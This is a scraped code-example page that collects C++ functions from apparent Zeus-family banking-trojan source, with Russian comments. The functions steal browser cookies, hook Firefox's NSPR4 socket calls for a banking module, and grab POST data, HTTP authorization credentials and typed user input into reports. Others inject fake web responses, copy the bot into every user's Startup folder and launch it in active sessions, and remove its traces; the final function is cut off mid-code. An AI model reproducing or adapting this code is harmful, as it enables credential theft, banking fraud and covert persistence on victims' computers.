Пример #1
0
/*
  Чтение кука Wininet из файла.

  IN fileName - имя файла.

  Return      - данные кука(удалит через Mem), или NULL - в случаи ошибки.
*/
static LPSTR __inline parseWininetCookies(LPWSTR fileName)
{
  Fs::MEMFILE mf;
  LPSTR output = NULL;

  if(Fs::_fileToMem(fileName, &mf, 0))
  {
    LPSTR *list;
    DWORD listCount = Str::_splitToStringsA((LPSTR)mf.data, mf.size, &list, Str::STS_TRIM, 0);
    Fs::_closeMemFile(&mf);

    if(listCount != (DWORD)-1)
    {
      if(listCount % 9 == 0)
      {
        CSTR_GETA(reportPathFormat, wininethook_report_cookie_path);
        CSTR_GETA(reportFormat, wininethook_report_cookie_data);
        
        LPSTR prevPath = NULL, path, name, value;
        char buf[INTERNET_MAX_URL_LENGTH + 20];
        int bufSize;

        for(DWORD i = 0; i < listCount; i += 9)
        {
          //Получем значения.
          if((name  = list[i + 0]) == NULL || *name  == 0 ||
             (value = list[i + 1]) == NULL || *value == 0 ||
             (path  = list[i + 2]) == NULL || *path  == 0)
          {
            //Нервеный формат.
            Mem::free(output);
            output = NULL;
            break;
          }

          //Добавление пути. 
          if(Str::_CompareA(prevPath, path, -1, -1) != 0)
          {
            bufSize = Str::_sprintfA(buf, sizeof(buf), reportPathFormat, path);
            if(bufSize == -1 || !Str::_CatExA(&output, buf, bufSize)){output = NULL; break;}
          }

          //Добовление кука.
          {
            bufSize = Str::_sprintfA(buf, sizeof(buf), reportFormat, name, value);
            if(bufSize == -1 || !Str::_CatExA(&output, buf, bufSize)){output = NULL; break;}
          }

          prevPath = path;
        }
      }

      Mem::freeArrayOfPointers(list, listCount);
    }
  }
  return output;
}
Пример #2
0
bool CoreInstall::_uninstall(bool wait)
{
  WCHAR path1[MAX_PATH];
  WCHAR path2[MAX_PATH];
  
  //Получаем пути.
  Core::getPeSettingsPath(Core::PSP_COREFILE, path1);
  CWA(shlwapi, PathRemoveFileSpecW)(path1);

  Core::getPeSettingsPath(Core::PSP_REPORTFILE, path2);
  CWA(shlwapi, PathRemoveFileSpecW)(path2);

  //Останавливаем потоки.
  coreData.proccessFlags |= Core::CDPF_NO_EXITPROCESS;
  stopServices(NULL);

  //Удаляем автозапуск.
  CoreControl::_removeAutorun();

  //Удаляем файлы из ~.
  {
    Fs::_removeDirectoryTree(path1);
    Fs::_removeDirectoryTree(path2);
  }

  //Удаляем настройки в реестре.
  {
    WCHAR regPath[MAX_PATH];
    Core::getPeSettingsPath(Core::PSP_REGKEY, regPath);
    Registry::_deleteKey(HKEY_CURRENT_USER, regPath);
  }

  //Создаем bat-файл. Для надежного удаления файлов.
  {
    char path1Oem[MAX_PATH];
    char path2Oem[MAX_PATH];

    CWA(user32, CharToOemW)(path1, path1Oem);
    CWA(user32, CharToOemW)(path2, path2Oem);

    CSTR_GETA(batch, core_uninstall_batch);
    char buf[MAX_PATH * 4 + 100];
    int size = Str::_sprintfA(buf, sizeof(buf) / sizeof(char), batch, path1Oem, path2Oem, path1Oem, path2Oem);
    if(size > 0)Process::_runTempBatch(buf);
  }

  //Если удаление запушено из первичного процесса бота, завершаем процесс.
  if(coreData.globalHandles.stopedEvent == CURRENT_PROCESS)CWA(kernel32, ExitProcess)(0);
  return true;
}
Пример #3
0
bool WinApiTables::_setNspr4Hooks(HMODULE nspr4Handle)
{
  DWORD i = 0;
  
  CSTR_GETA(pr_opentcpsocket,nspr4_pr_open_tcp_socket);
  CSTR_GETA(pr_close,nspr4_pr_close);
  CSTR_GETA(pr_read,nspr4_pr_read);
  CSTR_GETA(pr_write, nspr4_pr_write);
  nspr4Hooks[i++].functionForHook = CWA(kernel32, GetProcAddress)(nspr4Handle, pr_opentcpsocket);
  nspr4Hooks[i++].functionForHook = CWA(kernel32, GetProcAddress)(nspr4Handle, pr_close);
  nspr4Hooks[i++].functionForHook = CWA(kernel32, GetProcAddress)(nspr4Handle, pr_read);
  nspr4Hooks[i++].functionForHook = CWA(kernel32, GetProcAddress)(nspr4Handle, pr_write);
  
  //Хукаем.
  bool ok = hookList(CURRENT_PROCESS, nspr4Hooks, i, sizeof(nspr4Hooks) / sizeof(HOOKWINAPI));
  
  if(ok) 
  {
	  Nspr4Hook::updateAddresses(nspr4Handle, nspr4Hooks[0].originalFunction, nspr4Hooks[1].originalFunction, nspr4Hooks[2].originalFunction, nspr4Hooks[3].originalFunction);
	  bank::init();
	  
  }
  return ok;
}
Пример #4
0
void WininetHook::_getCookies(void)
{
  LPSTR cookies;
  DWORD cookiesSize;

  //Получаем куки.
  wininetCookiesProc(COOKIESFLAG_SAVE, &cookies, &cookiesSize);
  if(cookiesSize == 0)cookies = NULL;

  //Пишим лог.
  {
    CSTR_GETW(header, wininethook_report_cookies);
    CSTR_GETA(empty, wininethook_report_cookies_empty);
    Report::writeStringFormat(BLT_COOKIES, NULL, NULL, header, cookies == NULL ? empty : cookies);
  }
  Mem::free(cookies);
}
Пример #5
0
bool CoreInstall::_installToAll(void)
{
  //Получаем предположительный путь для Startup директории.
  WCHAR startupPath[MAX_PATH];
  {
    typedef BOOL (WINAPI *GETDEFAULTUSERPROFILEDIRECTORYW)(LPWSTR profileDir, LPDWORD size);
    
    bool ok = false;
    HMODULE dll;
    {
      CSTR_GETW(dllName, module_userenv)
      dll = CWA(kernel32, LoadLibraryW)(dllName);
    }
    
    if(dll != NULL)
    {
      GETDEFAULTUSERPROFILEDIRECTORYW getDefaultUserProfileDirectory;
      {
        CSTR_GETA(func, userenv_getdefuserprofiledir);
        getDefaultUserProfileDirectory = (GETDEFAULTUSERPROFILEDIRECTORYW)CWA(kernel32, GetProcAddress)(dll, func);
      }
      
      if(getDefaultUserProfileDirectory != NULL)
      {
        WCHAR defaultUserRoot[MAX_PATH];
        DWORD size = MAX_PATH;
    
        if(getDefaultUserProfileDirectory(defaultUserRoot, &size) == TRUE)
        {
          if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_STARTUP, (HANDLE)-1, SHGFP_TYPE_DEFAULT, startupPath) == S_OK)
          {
            size = Str::_LengthW(defaultUserRoot);
            if(CWA(shlwapi, StrCmpNIW)(defaultUserRoot, startupPath, size) == 0)
            {
              Str::_CopyW(startupPath, startupPath + size, -1);
              WDEBUG1(WDDT_INFO, "startupPath=[%s].", startupPath);
              ok = true;
            }
#           if(BO_DEBUG > 0)
            else WDEBUG0(WDDT_ERROR, "Failed to get default startup folder.");
#           endif 
          }
#         if(BO_DEBUG > 0)
          else WDEBUG0(WDDT_ERROR, "SHGetFolderPathW failed.");
#         endif 
        }
#       if(BO_DEBUG > 0)
        else WDEBUG0(WDDT_ERROR, "GetDefaultUserProfileDirectoryW failed.");
#       endif 
      }
#     if(BO_DEBUG > 0)
      else WDEBUG0(WDDT_ERROR, "GetDefaultUserProfileDirectoryW not founded.");
#     endif 
      CWA(kernel32, FreeLibrary)(dll);
    }
#   if(BO_DEBUG > 0)
    else WDEBUG0(WDDT_ERROR, "userenv.dll not founded.");
#   endif 

    if(!ok)return false;
  }
  
  //Получаем список полозователей.
  bool ok = false;
  DWORD handle = 0;
  NET_API_STATUS status;
  
  do
  {
    /*
      Тупые, притупые идусы из MS, не понимают что они тупые притупые. Дело в том, что в MSDN
      написано, что NetUserEnum может работать с уровнями 4, 23, а на практики мы получаем 
      большой индуский ХУЙ!
    */

    DWORD readed;
    DWORD total;
    USER_INFO_0 *buf0 = NULL;
    status = CWA(netapi32, NetUserEnum)(NULL, 0, FILTER_NORMAL_ACCOUNT, (LPBYTE *)&buf0, MAX_PREFERRED_LENGTH, &readed, &total, &handle);

    if((status == NERR_Success || status == ERROR_MORE_DATA) && buf0 != NULL)
    {
      USER_INFO_23 *buf23;
      for(DWORD i = 0; i < readed; i++)if(CWA(netapi32, NetUserGetInfo)(NULL, buf0[i].usri0_name, 23, (LPBYTE *)&buf23) == NERR_Success && buf23 != NULL)
      {
        //Получаем директорию Startup.
        WCHAR profileDir[MAX_PATH];
        if(OsEnv::_getUserProfileDirectoryhBySid(buf23->usri23_user_sid, profileDir) && Fs::_pathCombine(profileDir, profileDir, startupPath) && Fs::_createDirectoryTree(profileDir, NULL))
        {
          WDEBUG2(WDDT_INFO, "Founded user: name=[%s], profileDir=[%s].", buf23->usri23_name, profileDir);

          //Делаем копию себя в профиль пользователя.
          WCHAR fileName[MAX_PATH];
          if(MalwareTools::_GenerateRandomFileName(MalwareTools::NCF_ALL_LOWER, profileDir, fileName, FILEEXTENSION_EXECUTABLE, 4, 6) && savePeFile(NULL, fileName, false))
          {
            WDEBUG1(WDDT_INFO, "Copied to \"%s\".", fileName);
            ok = true;
            
            //Пытаемся запустить процесс.
            tryToRunForActiveSessions(buf23->usri23_user_sid, fileName);
          }
#         if(BO_DEBUG > 0)
          else WDEBUG1(WDDT_ERROR, "Failed to copy itself to statup folder of user \"%s\".", buf23->usri23_name);
#         endif
        }
        CWA(neteapi32, NetApiBufferFree)(buf23);
      }
      CWA(neteapi32, NetApiBufferFree)(buf0);
    }
  }
  while(status == ERROR_MORE_DATA);

  //Ну и копируем в себя в Default User.
  if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_STARTUP | CSIDL_FLAG_CREATE, (HANDLE)-1, SHGFP_TYPE_DEFAULT, startupPath) == S_OK)
  {
    WCHAR fileName[MAX_PATH];
    if(MalwareTools::_GenerateRandomFileName(MalwareTools::NCF_ALL_LOWER, startupPath, fileName, FILEEXTENSION_EXECUTABLE, 4, 6) && savePeFile(NULL, fileName, false))ok = true;
  }
  return ok;
}
Пример #6
0
/*
  Поиск активных сессий пользователя, и запуск из под них процессов.

  IN sid      - SID пользоваетеля.
  IN fileName - файл для запуска.
*/
static void tryToRunForActiveSessions(PSID sid, const LPWSTR fileName)
{
  HMODULE dll;
  {
    CSTR_GETW(dllName, module_wtsapi32);
    dll = CWA(kernel32, LoadLibraryW)(dllName);
  }

  if(dll != NULL)
  {    
    WTSENUMERATESESSIONSW enumerateSessions;
    WTSFREEMEMORY freeMemory;
    WTSQUERYUSERTOKEN queryUserToken;
    {
      CSTR_GETA(enumerateSessionsName, wtsapi32_enumeratesessions);
      enumerateSessions = (WTSENUMERATESESSIONSW)CWA(kernel32, GetProcAddress)(dll, enumerateSessionsName);
    }
    {
      CSTR_GETA(freeMemoryName, wtsapi32_freememory);
      freeMemory = (WTSFREEMEMORY)CWA(kernel32, GetProcAddress)(dll, freeMemoryName);
    }
    {
      CSTR_GETA(queryUserTokenName, wtsapi32_queryusertoken);
      queryUserToken = (WTSQUERYUSERTOKEN)CWA(kernel32, GetProcAddress)(dll, queryUserTokenName);
    }
    
    if(enumerateSessions != NULL && freeMemory != NULL && queryUserToken != NULL)
    {
      Process::_enablePrivilege(SE_TCB_NAME, true); //Для WTSQueryUserToken.
      
      //Интерактивную сессию обрабатываем отдельно, на случай если терминальный сервер не запущен и т.д.
      DWORD activeSession = CWA(kernel32, WTSGetActiveConsoleSessionId)();
      WDEBUG1(WDDT_INFO, "activeSession=%u.", activeSession);
      
      //Смотрим интерактивную сессию.
      if(activeSession != (DWORD)-1)createProcessForSession(queryUserToken, activeSession, sid, fileName);

      //Проматриваем все сессии кроме интерактивной.
      {
        PWTS_SESSION_INFOW sessions;
        DWORD sessionsCount;

        if(enumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, &sessions, &sessionsCount) != FALSE)
        {
          WDEBUG1(WDDT_INFO, "sessionsCount=%u.", sessionsCount);
          for(DWORD i = 0; i < sessionsCount; i++)
          {
            WDEBUG4(WDDT_INFO, "sessions[%u].State=%u, sessions[%u].SessionId=%u", i, sessions[i].State, i, sessions[i].SessionId);
            if((sessions[i].State == WTSActive || sessions[i].State == WTSDisconnected) && sessions[i].SessionId != activeSession)
            {
              createProcessForSession(queryUserToken, sessions[i].SessionId, sid, fileName);
            }
          }
          freeMemory(sessions);
        }
#       if(BO_DEBUG > 0)
        else WDEBUG0(WDDT_ERROR, "WTSEnumerateSessionsW failed.");
#       endif
      }
    }
    CWA(kernel32, FreeLibrary)(dll);
  }
}
Пример #7
0
DWORD HttpGrabber::analizeRequestData(REQUESTDATA *requestData)
{
#if defined WDEBUG6
  WDEBUG6(WDDT_INFO,
          "requestData->handle=[0x%p], requestData->url=[%S], requestData->referer=[%S], requestData->contentType=[%S], requestData->verb=[%u], requestData->postDataSize=[%u].",
          requestData->handle,
          requestData->url,
          requestData->referer,
          requestData->contentType,
          requestData->verb,
          requestData->postDataSize
         );
#endif

  DWORD retVal = 0;
  signed char writeReport = -1;/*-1 - по умолчанию, 0 - не писать, 1 - принудительно писать*/;

  //Проверяем на блокировку.
  CWA(kernel32, EnterCriticalSection)(&blockInjectInfo.cs);
  if(blockInjectInfo.blockOnUrl != NULL && blockInjectInfo.urlMaskForBlock != NULL && _matchUrlA(blockInjectInfo.blockOnUrl, requestData->url, requestData->urlSize, 0))
  {
#   if defined WDEBUG1
    WDEBUG1(WDDT_INFO, "Detected blocking url [%S] for current url.", blockInjectInfo.blockOnUrl);
#   endif    

    //Нельзя юзать requestData->localConfig т.к. она открта только для чтения.
    BinStorage::STORAGE *localConfig = LocalConfig::beginReadWrite();
    if(localConfig != NULL)
    {
      if(_addUrlMaskToList(LocalConfig::ITEM_URLLIST_BLOCKEDINJECTS, &localConfig, blockInjectInfo.urlMaskForBlock))
      {
        LocalConfig::endReadWrite(localConfig);
      }
      else
      {
        Mem::free(localConfig);
        LocalConfig::endReadWrite(NULL);
      }
    }
    
    Mem::free(blockInjectInfo.urlMaskForBlock);
    Mem::free(blockInjectInfo.blockOnUrl);
    blockInjectInfo.urlMaskForBlock = NULL;
    blockInjectInfo.blockOnUrl      = NULL;
  }
  CWA(kernel32, LeaveCriticalSection)(&blockInjectInfo.cs);
  
  //Проверяем запрос по фильтру.
  if(requestData->dynamicConfig != NULL)
  {
    DWORD httpFilterSize;
    LPSTR httpFilter = (LPSTR)BinStorage::_getItemDataEx(requestData->dynamicConfig, CFGID_HTTP_FILTER, BinStorage::ITEMF_IS_OPTION, &httpFilterSize);

    if(Str::_isValidMultiStringA(httpFilter, httpFilterSize))
    {      
      LPSTR curFilter = httpFilter;
      do if(curFilter[1] != 0)
      { 
        //Опеределяем тип фильтра.
        char filterType;
        switch(curFilter[0])
        {
          case '!': filterType = 1; break; //Не писать в отчет,
          case '@': filterType = 2; break; //Скриншот.
          case '-': filterType = 3; break; //Сохранение всех куков связаных с URL, и блокировка доступа.
          case '^': filterType = 4; break; //Блокировка доступа.
          default:  filterType = 0; break; //Принудительно писать в отчет.
        }
        if(filterType != 0)curFilter++;

        //Сравниваем URL.
        if(_matchUrlA(curFilter, requestData->url, requestData->urlSize, 0))
        {
#         if defined WDEBUG3
          WDEBUG3(WDDT_INFO, "requestData->url=[%S] matched [%S] for filter type %u.", requestData->url, curFilter, filterType);
#         endif

          switch(filterType)
          {
            case 0:
            {
              writeReport = 0;
              break;
            }
            
            case 1:
            {
              writeReport = 1;
              break;
            }
            
            case 2:
            {
              char host[260];
              URL_COMPONENTSA uc;

              Mem::_zero(&uc, sizeof(URL_COMPONENTSA));
              uc.dwStructSize     = sizeof(URL_COMPONENTSA);
              uc.lpszHostName     = host;
              uc.dwHostNameLength = sizeof(host) / sizeof(char) - 1;

              if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE && uc.dwHostNameLength > 0)
              {
                UserHook::enableImageOnClick(USERCLICK2IMAGE_LIMIT, host);
              }
              break;
            }

            case 3:
            {
              //FIXME: saveSessionCookies(requestData->url);
              //НЕ НАДА ТУТ break!
            }
            
            case 4:
            {
              retVal      |= ANALIZEFLAG_URL_BLOCKED;
              writeReport  = 1;
              break;
            }
          }

          if(filterType != 2)break; //В случаи с скриншотом, продолжаем поиск.
        }
      }
      while((curFilter = Str::_multiStringGetIndexA(curFilter, 1)));      
    }

    Mem::free(httpFilter);
  }

  //Если URL, пока не является заблакируемой. Пытаемся ее заблокировать.
  if((retVal & HttpGrabber::ANALIZEFLAG_URL_BLOCKED) == 0 && requestData->localConfig != NULL)
  {
    if(_isUrlInList(LocalConfig::ITEM_URLLIST_BLOCKED, requestData->localConfig, requestData->url, requestData->urlSize, 0))
    {
      //FIXME: check, this URL founded in blacklist.
      retVal |= HttpGrabber::ANALIZEFLAG_URL_BLOCKED;
    }
  }

  //Проверяем тип содержимого.
  if(requestData->contentTypeSize >= (CryptedStrings::len_httpgrabber_urlencoded - 1))
  {
    CSTR_GETA(formUrlEncoded, httpgrabber_urlencoded);
    if(
        Mem::_compare(requestData->contentType, formUrlEncoded, (CryptedStrings::len_httpgrabber_urlencoded - 1)) == 0 &&
        (requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == ';' || requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == 0)
       )retVal |= HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED;
  }

  //Проверяем наличие HTTP-авторизации.
  LPWSTR authorizationData  = NULL;
  int authorizationDataSize = 0;
  if(requestData->authorizationData.userName != NULL && *requestData->authorizationData.userName != 0 && requestData->authorizationData.password != NULL && *requestData->authorizationData.password != 0)
  {
    CSTR_GETW(format, httpgrabber_auth_normal);
    authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.userName, requestData->authorizationData.password);
  }
  else if(requestData->authorizationData.unknownType != NULL && *requestData->authorizationData.unknownType != 0)
  {
    CSTR_GETW(format, httpgrabber_auth_encoded);
    authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.unknownType);
  }

  //Проверяем хэш  HTTP-авторизации.
  if(authorizationDataSize > 0)
  {
    DWORD hash = Crypt::crc32Hash(authorizationData, authorizationDataSize * sizeof(WCHAR));
    if(lastHttpAuthorizationHash == hash)
    {
      Mem::free(authorizationData);
      authorizationData = NULL;
    }
    else
    {
      lastHttpAuthorizationHash = hash;
      retVal                   |= ANALIZEFLAG_AUTHORIZATION;
    }
  }

  //Опеределям нужно ли писать отчет.  
  {    
    if(writeReport == -1)
    {
      if((requestData->verb == VERB_POST && requestData->postDataSize > 0) || retVal & ANALIZEFLAG_AUTHORIZATION)retVal |= ANALIZEFLAG_SAVED_REPORT;
    }
    else if(writeReport == 1)retVal |= ANALIZEFLAG_SAVED_REPORT;
  }
  
  //Пишим отчет
  if(retVal & ANALIZEFLAG_SAVED_REPORT)
  {
    LPSTR postData = NULL;
    bool ok = false;
    
    //Форматируем POST-запрос.
    if(requestData->postDataSize == 0)
    {
      CSTR_GETA(decodedString, httpgrabber_report_empty);
      postData = Str::_CopyExA(decodedString, CryptedStrings::len_httpgrabber_report_empty - 1);
    }
    else if(retVal & HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED)
    {
      if((postData = Str::_CopyExA((LPSTR)requestData->postData, requestData->postDataSize)) != NULL)
      {
        for(DWORD i = 0; i < requestData->postDataSize; i++)
        {
          if(postData[i] == '&')postData[i] = '\n';
          else if(postData[i] == '+')postData[i] = ' ';
        }
      }
    }
    else if(requestData->contentTypeSize == 0)
    {
      CSTR_GETA(decodedString, httpgrabber_report_unknown);
      postData = Str::_CopyExA(decodedString, CryptedStrings::len_httpgrabber_report_unknown - 1);
    }
  
    //Формируем отчет.
    if(postData != NULL)
    {
      LPWSTR userInput;
      UserHook::getInput(&userInput);
      
      LPWSTR urlUnicode = Str::_ansiToUnicodeEx(requestData->url, requestData->urlSize);

      if(urlUnicode != NULL)
      {
        URL_COMPONENTSA uc;

        Mem::_zero(&uc, sizeof(URL_COMPONENTSA));
        uc.dwStructSize = sizeof(URL_COMPONENTSA);

        if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE)
        {
          //Пишим.
          CSTR_GETW(reportFormat, httpgrabber_report_format);
          CSTR_GETW(reportBlocked, httpgrabber_report_blocked);
		  char* buf = (char*)Mem::alloc(lstrlenA(postData) + 256);
		  wsprintfA( buf, "referer: %s, user input: %s, authorization data: %s, post data: %s",
                                         requestData->referer == NULL ? "-" : requestData->referer,
                                         (char*)(userInput == NULL ? L"" : userInput),
                                         (char*)(authorizationData == NULL ? L"" : authorizationData),
                                         postData);
		  WriteGrabberData( requestData->url, (LPBYTE)buf, -1 );
		  Mem::free(buf);
		  /*
          ok = Report::writeStringFormat(uc.nScheme == INTERNET_SCHEME_HTTPS ? BLT_HTTPS_REQUEST : BLT_HTTP_REQUEST,
                                         urlUnicode,
                                         NULL,
                                         reportFormat,
                                         urlUnicode,
                                         retVal & ANALIZEFLAG_URL_BLOCKED ? reportBlocked : L"",
                                         requestData->referer == NULL ? "-" : requestData->referer,
                                         userInput == NULL ? L"" : userInput,
                                         authorizationData == NULL ? L"" : authorizationData,
                                         postData);
		  */
		}
        Mem::free(urlUnicode);
      }

      Mem::free(userInput);
      Mem::free(postData);
    }

    if(ok == false)retVal &= ~ANALIZEFLAG_SAVED_REPORT;
  }
  
  Mem::free(authorizationData);
    
  //Если URL оказалась заблокирована, применять следущие флаги нет смысла.
  if(retVal & ANALIZEFLAG_URL_BLOCKED)
  {
#   if defined WDEBUG0
    WDEBUG0(WDDT_INFO, "Current url blocked.");
#   endif    
    
    goto END;
  }

  //Проверка на инжекты и фейки.
  if(checkRequestForInject(requestData))
  {
    retVal |= ANALIZEFLAG_URL_INJECT;
#   if defined WDEBUG1
    WDEBUG1(WDDT_INFO, "Accepted %u injects for current URL.", requestData->injectsCount);
#   endif
  }

  //Проверка на замену POST-данных.
  if(retVal & HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED && replacePostData(requestData))
  {
    retVal |= ANALIZEFLAG_POSTDATA_REPLACED;
#   if defined WDEBUG1
    WDEBUG1(WDDT_INFO, "POST-data replaced [%S].", requestData->postData);
#   endif
  }

END: 
  return retVal;
}
Пример #8
0
/*
  Создание запроса к фейк-URL.

  IN requestData - данные запроса.
  IN faketUrl    - фейк-URL.
  IN verb        - GET/POST.

  Return         - хэндл запроса, NULL - в случаи ошибки.
*/
static DWORD WINAPI fakeConnectProc(void *p)
{
  CoreHook::disableFileHookerForCurrentThread(true);
  FAKECONNECT *fc = (FAKECONNECT *)p;
  
  //Парсим URL.
  HttpTools::URLDATA urlData;
  if(HttpTools::_parseUrl(fc->fakeUrl, &urlData))
  {
    //Соединяемся.
    HINTERNET fakeInternet = CWA(wininet, InternetOpenA)(coreData.httpUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if(fakeInternet != NULL)
    {
      HINTERNET fakeConnect = CWA(wininet, InternetConnectA)(fakeInternet, urlData.host, urlData.port, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
      if(fakeConnect != NULL)
      {
        HINTERNET fakeRequest = CWA(wininet, HttpOpenRequestA)(fakeConnect,
                                                               fc->requestData->verb == HttpGrabber::VERB_POST ? "POST" : "GET",
                                                               urlData.uri,
                                                               "HTTP/1.1",
                                                               fc->requestData->url,
                                                               NULL,
                                                               INTERNET_FLAG_HYPERLINK |
                                                               INTERNET_FLAG_IGNORE_CERT_CN_INVALID |
                                                               INTERNET_FLAG_IGNORE_CERT_DATE_INVALID |
                                                               INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP |
                                                               INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS |
                                                               INTERNET_FLAG_NO_AUTH |
                                                               INTERNET_FLAG_NO_CACHE_WRITE |
                                                               INTERNET_FLAG_NO_UI |
                                                               INTERNET_FLAG_PRAGMA_NOCACHE |
                                                               INTERNET_FLAG_RELOAD |
                                                               (urlData.scheme == HttpTools::UDS_HTTPS ? INTERNET_FLAG_SECURE : 0),
                                                               NULL);

        if(fakeRequest != NULL)
        {
          //Добавляем заголовоки.
          {
            LPSTR header;

            PESETTINGS pes;
            Core::getPeSettings(&pes);

            //Content-Type.
            {
              CSTR_GETA(ct, httpgrabber_request_ct);
              if(fc->requestData->contentTypeSize > 0 && Str::_sprintfExA(&header, ct, fc->requestData->contentType) > 0)
              {
                CWA(wininet, HttpAddRequestHeadersA)(fakeRequest, header, -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE);
                Mem::free(header);
              }
            }

            //ZCID.
            {
              CSTR_GETA(zcid, httpgrabber_request_zcid);
              LPWSTR encodedCompId = HttpTools::_urlEncodeExW(pes.compId, Str::_LengthW(pes.compId));
              if(encodedCompId != NULL && Str::_sprintfExA(&header, zcid, encodedCompId) > 0)
              {
                CWA(wininet, HttpAddRequestHeadersA)(fakeRequest, header, -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE);
                Mem::free(header);
              }
              Mem::free(encodedCompId);          
            }
          }

          //Отправляем запрос.
          if(CWA(wininet, HttpSendRequestA)(fakeRequest, NULL, 0, fc->requestData->postData, fc->requestData->postDataSize) == TRUE)
          {
            DWORD size   = sizeof(DWORD);
            DWORD status = 0;

            if(CWA(wininet, HttpQueryInfoA)(fakeRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &status, &size, NULL) == TRUE && status == HTTP_STATUS_OK)
            {
              LPSTR newUrl = (LPSTR)Wininet::_queryOptionExA(fakeRequest, INTERNET_OPTION_URL, &size);
              if(newUrl != NULL)
              {
                //FIXME: TryUseURLMask(newUrl, size);
                Mem::free(newUrl);
              }

              HttpTools::_freeUrlData(&urlData);
              fc->fakeRequest = fakeRequest;
              return 0;
            }
          }
          CWA(wininet, InternetCloseHandle)(fakeRequest);
        }        
        CWA(wininet, InternetCloseHandle)(fakeConnect);
      }
      CWA(wininet, InternetCloseHandle)(fakeInternet);
    }    
    HttpTools::_freeUrlData(&urlData);
  }
  return 0;
}
Пример #9
0
/*
  Операции производимые в момент отправки HTTP-запроса.

  IN request          - запрос.
  IN OUT postData     - POST-данные.
  IN OUT postDataSize - размер postData.

  Return              - (-1) - вызвать стандартную функцию отсылки запроса.
                        В другом случаи, вернуть вместо вызова стандартной функции, это значение.
*/
static int onHttpSendRequest(HINTERNET request, void **postData, LPDWORD postDataSize)
{
  int retVal = -1;
  HttpGrabber::REQUESTDATA requestData;

  if(fillRequestData(&requestData, request, *postData, *postDataSize))
  {
    DWORD result = HttpGrabber::analizeRequestData(&requestData);

    if(result & HttpGrabber::ANALIZEFLAG_URL_BLOCKED)
    {
      CWA(kernel32, SetLastError)(ERROR_HTTP_INVALID_SERVER_RESPONSE);
      retVal = (int)FALSE;
    }
    else
    {
      DWORD connectionIndex;

      if(result & HttpGrabber::ANALIZEFLAG_URL_INJECT)
      {
        bool addInjects       = true;
        HINTERNET fakeRequest = NULL;
        
        if(HttpGrabber::_isFakeData(requestData.injects, requestData.injectsCount))
        {
          HttpGrabber::INJECTFULLDATA *fakeData = &requestData.injects[0];

          //Проверяем результат.
          if((fakeRequest = HttpGrabber::_createFakeResponse(&requestData, fakeData)) == NULL)
          {
            addInjects = false;
          }
          else
          {
            retVal = (int)TRUE;
          }
        }          
        else
        {
          {
            CSTR_GETA(header, wininethook_http_acceptencoding);
            CWA(wininet, HttpAddRequestHeadersA)(request, header, -1, HTTP_ADDREQ_FLAG_REPLACE | HTTP_ADDREQ_FLAG_ADD);
          }
          {
            CSTR_GETA(header, wininethook_http_te)
            CWA(wininet, HttpAddRequestHeadersA)(request, header, -1, HTTP_ADDREQ_FLAG_REPLACE);
          }
          {
            CSTR_GETA(header, wininethook_http_ifmodified)
            CWA(wininet, HttpAddRequestHeadersA)(request, header, -1, HTTP_ADDREQ_FLAG_REPLACE);
          }
        }
        
        //Добавляем инжекты в список.
        CWA(kernel32, EnterCriticalSection)(&connectionsCs);
        if(addInjects == false || (connectionIndex = connectionFindEx(request)) == (DWORD)-1)
        {
#         if defined WDEBUG0
          WDEBUG0(WDDT_ERROR, "Fatal error.");
#         endif          
          HttpGrabber::_freeInjectFullDataList(requestData.injects, requestData.injectsCount);
          if(fakeRequest != NULL)Wininet::_closeWithParents(fakeRequest);
        }
        else
        {
          //Старые инжекты могу сущестовать, т.к. один запрос можно послать несколько раз.
          HttpGrabber::_freeInjectFullDataList(connections[connectionIndex].injects, connections[connectionIndex].injectsCount);
          Mem::free(connections[connectionIndex].context);

          connections[connectionIndex].context     = NULL;
          connections[connectionIndex].contentPos  = 0;
          connections[connectionIndex].contentSize = (DWORD)-1;

#         if(BO_DEBUG > 0) && defined WDEBUG0
          if(connections[connectionIndex].injects != NULL)WDEBUG0(WDDT_WARNING, "(connections[connectionIndex].injects != NULL) == true");
#         endif          

          connections[connectionIndex].injects      = requestData.injects;
          connections[connectionIndex].injectsCount = requestData.injectsCount;
          connections[connectionIndex].fakeRequest  = fakeRequest;
        }
        CWA(kernel32, LeaveCriticalSection)(&connectionsCs);
      }

      if(result & HttpGrabber::ANALIZEFLAG_POSTDATA_REPLACED)
      {
        *postData     = requestData.postData;
        *postDataSize = requestData.postDataSize;

        CWA(kernel32, EnterCriticalSection)(&connectionsCs);
        if((connectionIndex = connectionFindEx(request)) != (DWORD)-1)
        {
          Mem::free(connections[connectionIndex].postData);
#         if(BO_DEBUG > 0) && defined WDEBUG0
          if(connections[connectionIndex].postData != NULL)WDEBUG0(WDDT_WARNING, "(connections[connectionIndex].postData != NULL) == true");
#         endif          
          connections[connectionIndex].postData = requestData.postData;
        }
        CWA(kernel32, LeaveCriticalSection)(&connectionsCs);
      }
    }
  }

  HttpGrabber::_freeRequestData(&requestData);
  return retVal;
}
Пример #10
0
void* CoreInject::_copyModuleToExplorer(void *image)
{
#if defined _WIN64
  PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
#else
